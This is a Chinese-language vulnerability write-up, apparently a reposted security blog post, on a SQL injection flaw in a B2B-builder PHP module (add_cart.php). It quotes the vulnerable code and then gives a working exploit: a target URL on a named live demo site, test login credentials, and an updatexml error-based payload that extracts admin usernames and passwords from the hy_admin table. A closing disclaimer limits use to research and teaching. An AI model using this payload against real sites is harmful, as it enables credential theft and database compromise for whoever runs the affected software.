我们看到到module/buy/admin/add_cart.php
if(!empty($_POST["cat"])&&!empty($_GET["id"])) { $ext_table=$config['table_pre'].'defind_'.$_POST['ext_field_cat']; $_POST['ext_field_cat']*=1; if($_POST['pid']!=0) { if($_POST["pid"]!==substr($_GET['id'],0,strlen($_GET['id'])-2)) { $s=$_POST["pid"]."00"; $b=$_POST["pid"]."99"; $sql="select max(catid) as catid from $cat_table where catid>$s and catid<$b"; $db->query($sql); $re=$db->fetchRow(); $id=$re["catid"]; if(!$id) $id=$_POST["pid"]."01"; else $id=$id+1; } else $id=$_GET['id']; //编辑当前类别信息 $sql="update $cat_table set catid='$id', cat='".$_POST['cat']."',isindex='".$isindex."' ,pic='$_POST[pic]',brand='$_POST[brand]',ext_table='$ext_table',ext_field_cat='$_POST[ext_field_cat]',template='$_POST[template]' where catid='".$_GET['id']."'"; $re=$db->query($sql); //如果当前类别下面带有子类别把子类别一起移过去 $s=$_GET['id']."00"; $b=$_GET['id']."99"; $sql="update $cat_table set catid=replace(catid,$_GET[id],$id) where catid>=$s and catid<=$b"; $re=$db->query($sql); }
只要满足!empty($_POST["cat"])&&!empty($_GET["id"]就会进入下面的流程。
然后$s为被单引号包裹,直接进入sql语句。然后造成sql注入。
我们用demo做测试
首先注册一个账号
http://democn.b2b-builder.com
账号密码都为test
然后构造
http://democn.b2b-builder.com/main.php?m=buy&s=admin/add_cat&id=111
其中post数据包为
cat=1&pid=1 or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论